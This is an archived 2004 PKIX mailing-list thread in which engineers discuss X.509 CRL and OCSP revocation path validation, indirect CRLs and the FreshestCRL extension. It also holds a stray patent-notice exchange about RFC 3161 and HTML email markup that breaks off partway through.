Subject: Current status of CRL validation ?

From: "Julien Stern" <[email-masked]>
Date: Mon, 22 Mar 2004 17:33:56 +0100

Dear list,

In November 2003, Santosh Chokhani raised a problem in the validation
of CRL paths. I was wondering what was the current status of CRL
validation and also have a few questions:

My current understanding is the following:

We have two different setups
1) direct CRL (signed by the CA itself)
2) Indirect CRL (signed with a certificate signed with the CA itself
	+ a few other bindings in extensions (crlIssuer, etc)

Santosh Chokhani suggested (I'm summarizing, see his post for the exact
words) that the path validating the certificate and the path validating
the CRL should have the same trust anchor and the same Issuer DNs
one-by-one (expect for the last cert in case 2, of course).

Question 1: what is the status of this proposal ?

Question 2: How do you validate the cert path associated to the CRL ?
	Some of the certificates included in this path might have
	been revoked. Do you have to construct a third path to validate
	the CRL which has information on the certificates in the CRL
	validation path ? (And possibly a fourth, a fifth, etc ?)

Do you really have to through all the following to validate
this hypothetical 2 level scheme:

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

To validate the chain, do I really have to:
1) start applying the X509 validation algorithm
2) obtain the CRL for CA2
3) reconstruct the path to validate the certificate which signs it.
4) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
5) Possibly repeat steps 3-4 until I find a path that I have already
	fully validated
6) verify the CRL and check that CA2 is not in.
7) obtain the CRL for user certificates
8) reconstruct the path to validate the certificate which signs it.
9) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
10) Possibly repeat steps 8-9 until I find a path that I have already
	fully validated
11) verify the CRL and check the certificate is not in.

Question 3: How to you replace CRL processing by OCSP in X509 path
	validation ? In particular, how do you check that the OSCP server
	certificate has not been revoked if it is different that the CA one ?

Thank you very much.

--
Julien

---

From: "Santosh Chokhani" <[email-masked]>
Date: Mon, 22 Mar 2004 13:46:13 -0500

Julien:

See responses in-line in [].

-----Original Message-----
From: [email-masked] [mailto:[email-masked]] On
Behalf Of Julien Stern
Sent: Monday, March 22, 2004 11:34 AM
To: [email-masked]
Subject: Current status of CRL validation ?

Dear list,

In November 2003, Santosh Chokhani raised a problem in the validation of CRL
paths. I was wondering what was the current status of CRL validation

[My impression from informal discussions with RFC 3280 authors is that they
plan to add the text to 3280.  I am also drafting amendment to X.509 Annex
B]

 and also have a few questions:

[The indirect CRL issuer need not be issued a certificate by the CA that
issued the certificate whose status is being checked]

Santosh Chokhani suggested (I'm summarizing, see his post for the exact
words) that the path validating the certificate and the path validating the
CRL should have the same trust anchor and the same Issuer DNs one-by-one
(expect for the last cert in case 2, of course).

[The same "trust anchor" should be changed to "the subject DN of the trust
anchors in the two paths should be identical.  This is to account for when
root uses separate keys for signing certificates and CRLs and o account for
root key rollover]

[The one-by-one matching should ignore self-issued certificates]

["except for last certificate" should be replaced with the logic that
terminates the name matching when one of the path ends.  This permits the CA
to create subordinates for CRL issuance and permits CA to nominate a higher
authority to issue CRL]

[See previous answer]

[Certification path development and validation for CRL is no different than
path development for anything else.  Unless you can get an authenticated
public key to verify signature on a CRL, you are out of luck]

Do you really have to through all the following to validate this
hypothetical 2 level scheme:

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

[I do not have time to review if you listed everything, but the idea is that
you do need to develop paths for CRL.  There are efficiency techniques one
can use]

Question 3: How to you replace CRL processing by OCSP in X509 path
	validation ? In particular, how do you check that the OSCP server
	certificate has not been revoked if it is different that the CA one
?

[It is not different from other certification path validation issues.  Your
local policy decides whether OCSP needs to start with the same root.  The
revocation status of OCSP server itself can be ignored if no-check extension
is present in the OCSP server certificate]

Thank you very much.

--
Julien

---

From: "Julien Stern" <[email-masked]>
Date: Tue, 23 Mar 2004 11:34:12 +0100

Santosh,

thanks a lot for your reply.

One point still makes me very confused however.
With this verification system, it seems to me that a certificate
is never simply "revoked". It is always "revoked" in a particular
context.

We wanted to attempt to test our validation algorithm in the
following case, but we now really do not know what we should except:

We have a user certificate C.
We reconstruct the paths to trust anchors.
Say the algorithms gives 2 candidate paths.

I) We start to verify the first path, it requires us to reconstruct
paths to verify the CRL. Say the reconstruction algorithm gives us 2
possible paths to trust anchors.

Now, let us say that the first path does not have the matching DN,
so we ignore it. The second path validates all right

=> we conclude the certificate is not revoked (?)

II) Say that we started by verifying the second path. Now, the first CRL
path matches all the DN, and it turns out that the CRL issuer
certificate is revoked

=> what are we supposed to conclude ?

Sincerely,

--
Julien

---

From: "Santosh Chokhani" <[email-masked]>
Date: Tue, 23 Mar 2004 08:38:46 -0500

Julien:

Checking multiple contexts is a matter of local policy.

My reading of 3280 and X.509 is that if you find a path to be valid, you can
accept the certificate.  There is no need to check all possible paths.

Conversely, if you find a path to be specifically invalid (i.e., when a
certificate is revoked), neither standard addresses whether you should find
alternate paths.  In my opinion, if you tried to find an alternate path you
will be in compliance with the standard.  Similarly, if your client gave up
and said that path is invalid, in my opinion, you will be compliant with
both standards.  In other words, neither standard says you must validate all
paths.

I am not sure I understand your examples to comment on.  If you find a valid
certification path, you are fine even if an alternate path is invalid.

-----Original Message-----
From: [email-masked] [mailto:[email-masked]] On
Behalf Of Julien Stern
Sent: Tuesday, March 23, 2004 5:34 AM
To: [email-masked]
Subject: Re: Current status of CRL validation ?

Santosh,

One point still makes me very confused however.
With this verification system, it seems to me that a certificate is never
simply "revoked". It is always "revoked" in a particular context.

We wanted to attempt to test our validation algorithm in the following case,
but we now really do not know what we should except:

I) We start to verify the first path, it requires us to reconstruct paths to
verify the CRL. Say the reconstruction algorithm gives us 2 possible paths
to trust anchors.

Now, let us say that the first path does not have the matching DN, so we
ignore it. The second path validates all right

II) Say that we started by verifying the second path. Now, the first CRL
path matches all the DN, and it turns out that the CRL issuer certificate is
revoked

Sincerely,

--
Julien

On Mon, Mar 22, 2004 at 01:46:13PM -0500, Santosh Chokhani wrote:
> From: [email-masked] 
> [mailto:[email-masked]] On Behalf Of Julien Stern
> validation
> [My impression from informal discussions with RFC 3280 authors is that 
> they plan to add the text to 3280.  I am also drafting amendment to 
> X.509 Annex B]
> 
> [The indirect CRL issuer need not be issued a certificate by the CA 
> that issued the certificate whose status is being checked]
> 
the
> [The same "trust anchor" should be changed to "the subject DN of the 
> trust anchors in the two paths should be identical.  This is to 
> account for when root uses separate keys for signing certificates and 
> CRLs and o account for root key rollover]
> 
> terminates the name matching when one of the path ends.  This permits 
> the CA to create subordinates for CRL issuance and permits CA to 
> nominate a higher authority to issue CRL]
> 
> [Certification path development and validation for CRL is no different 
> than path development for anything else.  Unless you can get an 
> authenticated public key to verify signature on a CRL, you are out of 
> luck]
> 
> [I do not have time to review if you listed everything, but the idea 
> is that you do need to develop paths for CRL.  There are efficiency 
> techniques one can use]
> 
?
> 
> [It is not different from other certification path validation issues.  
> Your local policy decides whether OCSP needs to start with the same 
> root.  The revocation status of OCSP server itself can be ignored if 
> no-check extension is present in the OCSP server certificate]
> 
> Thank you very much.
> 
> --
> Julien
> 
>

---

From: "Julien Stern" <[email-masked]>
Date: Tue, 23 Mar 2004 15:25:26 +0100

Santosh,

thank again for your quick reply.

Two more little questions, and I'll (probably) stop bothering :)

1) According to what you said, a certificate could at the same time
be revoked or not revoked depending on your local policy (more
specifically depending on the path you choose) ? That seems pretty
weird... or did I misunderstood something ?

2) When I download a CRL, can I check it's signature by verifying the
path only ONCE ? Or do I have to do it each time I want to check a
certificate ? If say, two S/MIME clients, send me two certificates whose
revocation information are found in the same CRL, but with different
paths going to different trusted anchors, it seems to me that I have
to rebuild and recheck the path for the CRL each time ?

--
Julien

---

From: "Santosh Chokhani" <[email-masked]>
Date: Tue, 23 Mar 2004 11:07:14 -0500

Julien:

-----Original Message-----
From: [email-masked] [mailto:[email-masked]] On
Behalf Of Julien Stern
Sent: Tuesday, March 23, 2004 9:25 AM
To: [email-masked]
Subject: Re: Current status of CRL validation ?

Santosh,

1) According to what you said, a certificate could at the same time be
revoked or not revoked depending on your local policy (more specifically
depending on the path you choose) ? That seems pretty weird... or did I
misunderstood something ?

[Yes, I meant that.  Also, due to the distributed nature of trust topology,
this is logical.  All it says that some trust links are broken, but others
are not.  It is like network of roads.  Just because some links are broken
and some paths are invalid that does not mean there not a path from point A
to point B.  Practically, there may be danger that the reason some paths are
valid is because of operational or communication problems, some
certificate(s) were not revoked.]

2) When I download a CRL, can I check it's signature by verifying the path
only ONCE ? Or do I have to do it each time I want to check a certificate ?
If say, two S/MIME clients, send me two certificates whose revocation
information are found in the same CRL, but with different paths going to
different trusted anchors, it seems to me that I have to rebuild and recheck
the path for the CRL each time ?

[Given that names are not Globally unique, you need to build the two paths
if the two trust anchor DNs are different]
--
Julien

---

From: "Ambarish Malpani" <[email-masked]>
Date: Tue, 23 Mar 2004 08:16:10 -0800

Hi Julien,
    Responses inline.

Regards,
Ambarish 

> Sent: Tuesday, March 23, 2004 6:25 AM
> To: [email-masked]
> 1) According to what you said, a certificate could at the 
> same time be revoked or not revoked depending on your local 
> policy (more specifically depending on the path you choose) ? 
> That seems pretty weird... or did I misunderstood something ?

True. And not necessarily very weird. Certification paths are
like a directed graph.

Each certificate is a link in the graph from the CA to the certificate
holder. A single holder (could be a CA itself) can be certificated by
multiple Cas and can in turn certificate multiple certificate holders.

At a given instant, each CA gets to choose which of the links it
created are currently good (or not).

As a user (relying party), you get to choose which CAs you wish
to trust. You are trying to find a chain between a trusted CA and
the certificate holder that contains links that are currently deemed
good by the CA.

Okay. That was a mathematical description. A more real life example
is: I am trying to find out whether you are trustworthy or not. There
are folks that I trust, who may choose to trust other people. Who a
person trusts at any given time changes (based on their experiences with
that person).

At a given time, there will be some folks who will say that you are
trustworthy, others who will say that you are not and others who will
say that they don't personally know you and can't say anything about
you at all.

Depending on who I trust (the context), you could be both trustworthy
or not at the same time.

> 
> 2) When I download a CRL, can I check it's signature by 
> verifying the path only ONCE ? Or do I have to do it each 
> time I want to check a certificate ? If say, two S/MIME 
> clients, send me two certificates whose revocation 
> information are found in the same CRL, but with different 
> paths going to different trusted anchors, it seems to me that 
> I have to rebuild and recheck the path for the CRL each time ?

You can cache revocation information if you wish to. Once you have
created a path to trust a CA, you can keep that around for "some" time.
So you might not need to revalidate the path each time (depending on
your trust needs).

If two entities are certified by the same CA and both have valid
certificates at a certain instant in time, then both certificates
are valid at that instant if the CA is valid (with the appropriate
caveats to deal with Certificate Policies).

---

From: "Ambarish Malpani" <[email-masked]>
Date: Tue, 23 Mar 2004 08:14:17 -0800

Hi Julien,
    Responses inline.

Regards,
Ambarish

---

From: Stephen Kent <[email-masked]>
Date: Tue, 23 Mar 2004 11:56:01 -0500

Julien,

The confusion stems from somewhat sloppy use of terminology in these 
discussions.

Only the issuer of a cert can revoke it and in X.509 (unlike PGP) 
there is only one issuer for a given cert. So, the revocation 
question as you stated it was not well formed. A cert is either 
revoked or not. However, the ability of an RP to establish the 
validity of a cert is a function of the cert path that the RP uses to 
validate the cert, and of the access to revocation status info 
available to the RP. Since there may be more than one path used to 
validate the same cert, it is possible to get to different answers re 
the question of whether the cert is valid, depending on which path 
you use. Also, two RPs may have access to different revocation status 
data for the EE cert or for a CA cert along a oath, so that each RP 
may arrive at different view of the validity of the EE cert.

Steve

---

From: Ed Gerck <[email-masked]>
Date: Tue, 30 Mar 2004 15:52:25 -0800

Julien,

Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
in X.509 because: (a) a cert has only one issuer and, (b) only that issuer of
the cert can revoke the cert. However, X.509 is unable to allow a RP to 
measure with any desired confidence (i.e., desired by the RP) whether a cert 
is revoked or not.

This is due to several unsolvable problems in the X.509/PKIX framework [1]. 
For example, there may be a considerable delay (no warranties on the CAs 
CPSs can be found on upper limits for such delays) between the actual need 
to revoke a certificate and the reflection of this need in a certificate 
chain with different CAs. Further, the major X.509 security application 
today, SSL, still does not check revocation lists or any other revocation
mechanisms -- so they are near to useless. Also, the user is not able to 
check server certificates (and certificates in the CA chains) against 
revocation lists. 

Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual 
revocation. Few recognize, as you have now hit, that cert revocation
in PKIX/X.509 is a solution to a non-existent problem ... while the real 
problem is left utterly unsolved. The non-existent problem solved by 
PKIX/X.509 cert revocation is how to communicate that a certificate is no 
longer valid ... because if a certificate were really no longer valid 
(as it should be) then no one would need to find the cert revocation to 
know about it. 

Cheers,
Ed Gerck

[1] http://nma.com/mcg-mirror/cert.htm

---

From: "Santosh Chokhani" <[email-masked]>
Date: Tue, 30 Mar 2004 23:18:27 -0400

Please see responses below.

On Tue, 30 Mar 2004 15:52:25 -0800, Ed Gerck wrote
> in X.509 because: (a) a cert has only one issuer and, (b) only that 
> issuer of the cert can revoke the cert.

Not true. A certificate can be revoked by another authority as asserted in 
the CRL issuer field of the CDP of the certificate.

> However, X.509 is unable to 
> allow a RP to measure with any desired confidence (i.e., desired by 
> the RP) whether a cert is revoked or not.
> 
> This is due to several unsolvable problems in the X.509/PKIX 
> framework [1]. For example, there may be a considerable delay (no 
> warranties on the CAs CPSs can be found on upper limits for such 
> delays) between the actual need to revoke a certificate and the 
> reflection of this need in a certificate chain with different CAs. 
> Further, the major X.509 security application today, SSL, still does 
> not check revocation lists or any other revocation mechanisms -- so 
> they are near to useless. Also, the user is not able to check server 
> certificates (and certificates in the CA chains) against revocation 
> lists. 

This is not a standards, PKI, X.509 or PKIX problem.  It is an implementation 
problem.

> 
> Moreover, PKIX/X.509 revocation is a "will" to revoke but not an 
> actual revocation. Few recognize, as you have now hit, that cert revocation
> in PKIX/X.509 is a solution to a non-existent problem ... while the 
> real problem is left utterly unsolved. The non-existent problem 
> solved by PKIX/X.509 cert revocation is how to communicate that a 
> certificate is no longer valid ... because if a certificate were 
> really no longer valid 
> (as it should be) then no one would need to find the cert revocation 
> to know about it. 

Please clarify what you mean by "will to revoke" and "actual revocation"

---

From: Ed Gerck <[email-masked]>
Date: Tue, 30 Mar 2004 21:55:02 -0800

> the CRL issuer field of the CDP of the certificate.

But (a) is still true and (b) is true either by delegation from the issuer CA 
or by the issuer CA not implementing authoritative revocation. 

Moreover, in legal reliance terms, one may trust the confirmation procedures
of the issuer CA's Designated Responder or any Trusted Responder during 
certificate reliance (i.e., whether the cert has been revoked or not) under
CRLs or OCSPs, but one cannot rely upon them for other than their value as 
a representation of the issuer CA revocation management as expressed in the 
issuer CA own terms and rules.

So, yes, whether a cert is revoked or not _is_ strictly enforceable by the 
issuer CA in X.509.

> This is not a standards, PKI, X.509 or PKIX problem.  It is an implementation

No. It's a X.509 design problem that is unsolvable in the design. It does 
not depend on the implementation, not matter how clever.
 
> Please clarify what you mean by "will to revoke" and "actual revocation"

"will to revoke" --> revocation by reference
"actual revocation" --> revocation by absence of functionality

Cheers,
Ed Gerck

---

From: Stephen Kent <[email-masked]>
Date: Wed, 31 Mar 2004 11:00:40 -0500

>measure with any desired confidence (i.e., desired by the RP) whether a cert

Each CRL issuer sets the time frame for CRL issuance with the Next 
Update value, so it is true that the RP is not capable of deciding 
what level of confidence he wants re revocation status, IF that 
includes a timeliness constraint.

>check server certificates (and certificates in the CA chains) against

of course this comment about SSL/TLS is not a critique of X.509 or 
PKIX standards, but rather an observation about implementation 
practice.

>(as it should be) then no one would need to find the cert revocation to

was there some part of the preceding paragraph that was supposed to 
make technical sense?

Steve

---

From: Eric Norman <[email-masked]>
Date: Wed, 31 Mar 2004 10:56:23 -0600 (CST)

On Tue, 30 Mar 2004, Ed Gerck wrote:

> problem is left utterly unsolved.

As far as this reader knows, the real problem is also unstated.  Might I
be reminded about just what the "real problem" is?

Eric Norman

	"Congress shall make no law restricting the size of integers
	that may be multiplied together, or the number of times that
	an integer may be multiplied by itself, or the modulus by
	which an integer may be reduced".

---

From: Ed Gerck <[email-masked]>
Date: Wed, 31 Mar 2004 09:53:23 -0800

> includes a timeliness constraint.

Yes. But IF a timeliness constraint is NOT included, the RP cannot
even assign confidence limits (a statistical measure) to the decision 
wheter the cert is revoked or not. Moreover, I'm not aware of any
limit field stating the maximum time lapse that is warranted between
a revocation communication being received from the subscriber and the 
publication of that information in the CRL. We may hope that anything
received between now and the Next Update value will be published at
that time, but it may not. Clearly, there is a cut-off and it may
involve more than one update cycle. Perhaps you could clarify this.
 
> PKIX standards, but rather an observation about implementation

First, nothing that I said above is a critique of X.509 or PKIX
standards. We shall not require perfection. That said, even if a SSL
implementation would include CRLs and OCSPs, the other problems 
mentioned above would still exist and prevent that SSL implementation
(no matter how clever) from effectively providing an answer that 
the RP could measure with any desired confidence.

> was there some part of the preceding paragraph that was supposed to

We have struggled with this passage before. Thanks for helping me
clarify it now. In short, I mean that revocation by reference (i.e., a 
X.509 reference that X is revoked) does not revoke anything. Actual 
revocation, OTOH, would make it impossible to use the cert -- even if 
a reference about its revocation is not available. 

Cheers,
Ed Gerck

---

From: Stephen Kent <[email-masked]>
Date: Wed, 31 Mar 2004 16:53:55 -0500

Ed,

I really should have asked the context in which you were referring to 
an RP's reliance on revocation status info. If the RP is validating a 
signature for NR purposes, then the RP is nominally protected if he 
waits until the "next" CRL is issued before he acts on the signed 
object. The CRL issuer is the only game in town re authoritative info 
on the revocation status of a cert. AN RP is, by definition, a 
"relying" party and he relies on the cert and CRL issuer(s) to 
provide this status data when they have said it becomes available. if 
the RP cannot tolerate the wait, tough luck. I don't think we need to 
be fancy about this, e.g., "confidence limits."

If the RP is using a signature in an access control context, then the 
problem is often different. For access control purposes, one usually 
will not have the luxury of waiting for the next CRL to determine 
revocation status, and even use of OCSP may not help, as many OCSP 
servers are driven by CRLs. But, this is not an X.509 problem per se. 
If the operator of an access control systems wants to ensure that a 
user's privileges are revoked quickly, then the best way to do that 
is to change the ACLs associated with the resources being protected, 
or to push a hot list to each resource access manager. When certs are 
used to verify identity in support of access control, these general 
rules apply, and they are not fundamentally different than if one had 
chosen to use passwords for user authentication.

	<SNIP>

>a reference about its revocation is not available.

One cannot, in general, make "it impossible to use the cert" but one 
can make a cert unusable in a given context. But that is not 
surprising. In many systems with capability-like properties, 
revocation effected by seizing an access token is often infeasible. 
If I have a keyed padlock on a locker, I can change the lock to 
effect revocation of access privileges for the holders of keys, and 
reissue new keys for the new lock to the folks I want to authorize. 
Do I know that the keys that are out there will not be able to open 
any other padlocks? Not really/ There may have been another padlock 
that would accept the same keys and I don't now, nor can I prevent 
the use of the keys in that padlock.

So, I'm afraid I don't find your clarification helpful. Maybe we're 
still just missing a concisely stated context for the comment.

Steve

---

From: Ed Gerck <[email-masked]>
Date: Wed, 31 Mar 2004 16:27:08 -0800

> be reminded about just what the "real problem" is?

The real problem is to make the cert unusable when revoked. For that,
one should also not need to rely on any third-party or users. In particular, 
I believe that trusting user intervention (even to update software) is a 
very weak assumption.

It's apparent in this thread that revoking by reference (the current
method with CRLs and OCSPs) has some unsolved and unsolvable problems.
To consider them a "feature" is the first stage of problem solving.
My comments on this, practically the same since '97, is that we should 
move to the second stage.

Cheers,
Ed Gerck

Date: Wed, 31 Mar 2004 16:27:08 -0800
From: Ed Gerck <[email-masked]>
To: Eric Norman <[email-masked]>
CC: PKIX list <[email-masked]>
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

> be reminded about just what the "real problem" is?

The real problem is to make the cert unusable when revoked. For that,
one should also not need to rely on any third-party or users. In particular, 
I believe that trusting user intervention (even to update software) is a 
very weak assumption.

It's apparent in this thread that revoking by reference (the current
method with CRLs and OCSPs) has some unsolved and unsolvable problems.
To consider them a "feature" is the first stage of problem solving.
My comments on this, practically the same since '97, is that we should 
move to the second stage.

Cheers,
Ed Gerck

Date: Wed, 31 Mar 2004 16:53:55 -0500
To: Ed Gerck <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Current status of CRL validation ?
Cc: [email-masked]
Sender: [email-masked]

Ed,

	<SNIP>

Steve

Date: Tue, 30 Mar 2004 21:44:24 -0500
To: "todd glassey" <[email-masked]>
From: Russ Housley <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: [email-masked], [email-masked]
Sender: [email-masked]

Todd:

I am sorry to see the significant amount of message traffic that your 
message has generated.  I appreciate that you have made the community aware 
of this potential concern, and I appreciate that you did not ask for a 
discussion.  Unfortunately, a discussion has resulted.  I want to remind 
you and the other PKIX mail list members about the IETF IPR policy.

       The IETF takes no position regarding the validity or scope of any
       Intellectual Property Rights or other rights that might be claimed
       to pertain to the implementation or use of the technology
       described in this document.

Further, I strongly encourage you to update your IPR statement regarding 
your patent.  RFC 3668 provide guidance in this area.  Based on my review 
of the messages posted to the PKIX mailing list as part of this discussion, 
I believe that you have provided significant details in your follow-on 
messages that do not appear in your IPR statement.

Remember that individual implementors have to make up their own minds on 
the applicability of your patent.  Any legal proceedings that result from 
these decisions are not appropriate discussion topics for the PKIX mail 
list.  Similarly, continuation of this discussion is inappropriate.  RFC 
3161 is finished.  The only on-going work by the PKIX working group  that I 
am aware of regarding RFC 3161 is an interoperability report to demonstrate 
that the document is ready to progress to Draft Standard.  I encourage the 
PKIX mailing list members to focus on this task.  Any further discussion of 
this patent on the PKIX mail list is out of scope.

This thread is now closed.

Russ Housley
Security Area Director

At 01:28 PM 3/25/2004 -0800, todd glassey wrote:
>Lets talk about legal stuff for a minute... and I don't really need anyone
>to respond to this unless they want to do so with my lawyers.
>
>---------------------------------------------------
>
>Be advised that I am claiming there is an unauthorized identified use of
>RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
>patent ("Controlling Access to Stored Information" - US 6370629 and EP
>0997808, et al).  As such, I am formally putting the IETF/IESG on notice
>thereof.
>
>Further, these same uses may also violate any number of other "Receipt"
>patents issued (including, but not limited to, the original Fisher and Haber
>patents; those of others in the Time Management and in the XML
>Receipt Business), as well as other patents still in the works.
>
>In light of this notification, please be aware that it is the responsibility
>of the developers to do proper diligence prior to releasing commercial or
>free services using RFC3161 as its base.
>
>Be advised that we are currently very concerned. If any such RFC3161
>application is used for evidentiary purposes or if it is used to enable
>control of any access to any data, or data in any record structure,
>such use may be in violation of these globally issued patents.
>
>Obviously, in instances where such violation is evident, we will take swift
>legal steps to protect our patent(s) while preventing any further
>unauthorized use. This would include any violations and damages resulting
>from all those responsible, even National Governments using RFC3161 for
>commercial and audit purposes (including the EU and its member States).
>
>Please feel free to have the IETF's or IESG's or any other appropriate
>attorney (or Developers wishing to avoid the legal complications of an
>authorized use) contact me regarding this matter for my point of service so
>appropriate licensing can be arranged to protect these patents against such
>infringement involving those Developer's Application Systems .
>
>Todd Glassey
>Patent Rights Owner and Inventor -US 6370629

Date: Wed, 31 Mar 2004 09:53:23 -0800
From: Ed Gerck <[email-masked]>
To: Stephen Kent <[email-masked]>
CC: [email-masked]
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

 

Cheers,
Ed Gerck

Date: Wed, 31 Mar 2004 10:56:23 -0600 (CST)
From: Eric Norman <[email-masked]>
To: PKIX list <[email-masked]>
Subject: Re: Current status of CRL validation ?
Sender: [email-masked]

Eric Norman

Date: Wed, 31 Mar 2004 11:00:40 -0500
To: Ed Gerck <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Current status of CRL validation ?
Cc: [email-masked]
Sender: [email-masked]

Steve

Date: Wed, 31 Mar 2004 10:08:14 -0500
From: "David A. Cooper" <[email-masked]>
To: [email-masked]
CC: [email-masked]
Subject: Re: Freshest CRL
Sender: [email-masked]

This is a multi-part message in MIME format.
--------------030307050703050102080604
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Shim Heewon wrote:

> Of course, both of them are needed Freshest CRL. (Cert and CRL extension)
>
> 1.       Using Freshest CRL extension on Certificate, you can find 
> exact URI to get exact CRL.
>
> 2.       Using Freshest CRL extension on CRL (matching on Cert), you 
> can determine whether this CRL is the correct one among other delta 
> CRLs or not.
>
>  
>
> Because of replace attack of CRL, you should use this extension on 
> both of them.
>
> This case is very similar to the case of CRL Distribution Point (on 
> Cert) and Issuing Distribution Point (on CRL).
>
Actually, the FreshestCRL extension works the same way as the 
cRLDistrubutionPoints extension.  That is, when the FreshestCRL 
extension appears in a certificate the CRL must have a matching 
issuingDistributionPoint, where the matching is done in the same way as 
if a cRLDistrubutionPoints were being used in the certificate.  RFC 3280 
states that the FreshestCRL extension should only be used to point to 
delta-CRLs, but X.509 does not impose this restriction.  X.509 allows 
the FreshestCRL extension to be used in any way that the 
cRLDistrubutionPoints can be used.

The use of a FreshestCRL extension in a CRL is more tricky, since this 
would seem to involve comparing the FreshestCRL extension in one CRL to 
the issuingDistributionPoint extension in another CRL (presumably a 
corresponding delta-CRL).  The RFC 3280 simplifies this by stating that 
when the FreshestCRL extension appears in a CRL, it should only contain 
the distribution point name, which acts as a pointer to a delta-CRL.  
RFC 3280 further requires that the delta-CRL contain the same 
issuingDistributionPoint field as the corresponding complete for scope 
CRL.  This allows for the FreshestCRL extension in the CRL to only act 
as a pointer since the issuingDistribuionPoint extension in the 
delta-CRL can be compared to the cRLDistributionPoint extension in the 
certificate.

Dave

--------------030307050703050102080604
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
Shim Heewon wrote:<br>
<blockquote type="cite"
 cite="[email-masked]">
  <meta content="text/html; " http-equiv="Content-Type">
  <meta content="Microsoft Word 11 (filtered)" name="Generator">
  <style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:"Wingdings 2";
	panose-1:5 2 1 2 1 5 7 7 7 7;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h1
	{margin-top:0cm;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:21.25pt;
	margin-bottom:.0001pt;
	text-align:center;
	text-indent:-21.25pt;
	page-break-after:avoid;
	font-size:16.0pt;
	font-family:Arial;}
h2
	{margin-top:0cm;
	margin-right:11.0pt;
	margin-bottom:0cm;
	margin-left:47.35pt;
	margin-bottom:.0001pt;
	text-indent:-47.35pt;
	page-break-after:avoid;
	font-size:14.0pt;
	font-family:Arial;}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle20
	{font-family:Arial;
	color:windowtext;}
span.EmailStyle22
	{font-family:Gulim;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 ol
	{margin-bottom:0cm;}
ul
	{margin-bottom:0cm;}
-->
  </style>
  <div class="Section1">
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Of
course,
both of them are needed Freshest CRL. (Cert and CRL extension)</span></font></p>
  <p style="margin-left: 38pt; text-indent: -18pt;" class="MsoNormal"><font
 face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">1.<font
 face="Times New Roman" size="1"><span
 style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  </span></font></span></font><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Using
Freshest CRL extension on Certificate, you
can find exact URI to get exact CRL.</span></font></p>
  <p style="margin-left: 38pt; text-indent: -18pt;" class="MsoNormal"><font
 face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">2.<font
 face="Times New Roman" size="1"><span
 style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  </span></font></span></font><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Using
Freshest CRL extension on CRL (matching on
Cert), you can determine whether this CRL is the correct one among
other delta CRLs
or not. </span></font></p>
